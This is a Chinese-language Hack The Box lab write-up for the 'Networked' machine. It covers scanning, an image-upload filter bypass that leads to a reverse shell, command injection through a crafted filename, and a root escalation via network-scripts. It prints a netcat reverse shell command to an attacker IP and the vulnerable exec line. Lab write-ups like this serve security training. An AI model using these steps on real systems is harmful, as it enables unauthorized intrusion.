基本信息
端口扫描
22和80:
1 | ➜ ~ nmap -sC -sV 10.10.10.146 |
80
80就一段文字:
目录扫描
简单的目录扫描,发现backup和uploads:
1 | gobuster dir -u http://10.10.10.146/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 50 |
backup
backup里有个tar,是4个php文件:
upload && shell
upload就是文件上传,根据backup里的代码,有后缀名校验和文件头校验只能上传图片,但用的php的finfo_file函数,很容易bypass:
Photo.php里可以看到上传后的文件:
shell.gif
1 | GIF89a; |
reverse shell
然后去访问触发reverse shell:
guly
在guly用户目录可以看到有个check_attack.php,查看代码可以看到是uploads目录进行检测处理,里面有明显的命令注入:
1 | exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &"); |
value就是文件名,我们可控
命令注入
直接Touch有点问题,可以base64编码:
1 | echo "nc -e /bin/bash 10.10.14.10 4446" | base64 |
guly shell
然后等待触发,得到guly shell:
check_attack.php
1 |
|
user flag
Guly 用户目录得到user.txt:
提权信息
Sudo -l发现changename.sh:
查看代码,就是调用ifcfg,输入几个变量:
- Full Disclosure: Redhat/CentOS root through network-scripts
https://seclists.org/fulldisclosure/2019/Apr/24
根据这个,变量那里可以直接执行任意命令
changename.sh
1 | #!/bin/bash -p |
提权 && root flag
所以就可以直接执行bash,得到root:
参考资料
- Full Disclosure: Redhat/CentOS root through network-scripts
https://seclists.org/fulldisclosure/2019/Apr/24 - HTB: Networked | 0xdf hacks stuff
https://0xdf.gitlab.io/2019/11/16/htb-networked.html - https://www.hackthebox.eu/home/machines/writeup/203
- HackTheBox - Networked - YouTube
https://www.youtube.com/watch?v=H3t3G70bakM&feature=youtu.be&ab_channel=IppSec